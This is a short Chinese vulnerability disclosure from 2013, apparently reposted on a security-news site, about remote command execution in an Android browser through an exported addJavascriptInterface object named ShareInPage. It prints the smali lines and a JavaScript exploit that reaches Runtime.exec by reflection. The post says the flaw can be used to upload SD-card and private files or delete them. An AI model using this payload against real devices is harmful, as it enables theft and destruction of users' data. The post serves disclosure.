欧鹏手机浏览器存在远程命令执行

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:23:40

来源：

漏洞存在于欧鹏浏览器中，不需要root即可，addJavascriptInterface导出多处。

欧鹏浏览器，反编译后com/opera/android/share/ShareInPage.smali中，存在

const-string v1, "ShareInPage"

invoke-virtual {p1, v0, v1}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

这里使用导出的ShareInPage，还有其他导出到js的java类也可以使用，欧鹏浏览器导出了多处，都注意下吧。

构造exploit部分内容如下:(html文件)

<script>function execute(cmdArgs){alert(typeof(ShareInPage));return ShareInPage.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}

跟上一个漏洞一样，调用后可以执行命令，可以做很多事情，例如上传sd卡文件，上传私有目录下的可读文件、删除文件等等。

修复方案：

限制下吧

>更多相关文章

首页推荐

东方联盟网培训质量如何?靠谱吗?

　　佛山市东联科技有限公司一直秉承“一切以用户价值为依归

相关文章

24小时热门资讯

24小时回复排行

热门推荐

最新资讯

网络安全

操作系统

黑客防御

站长知识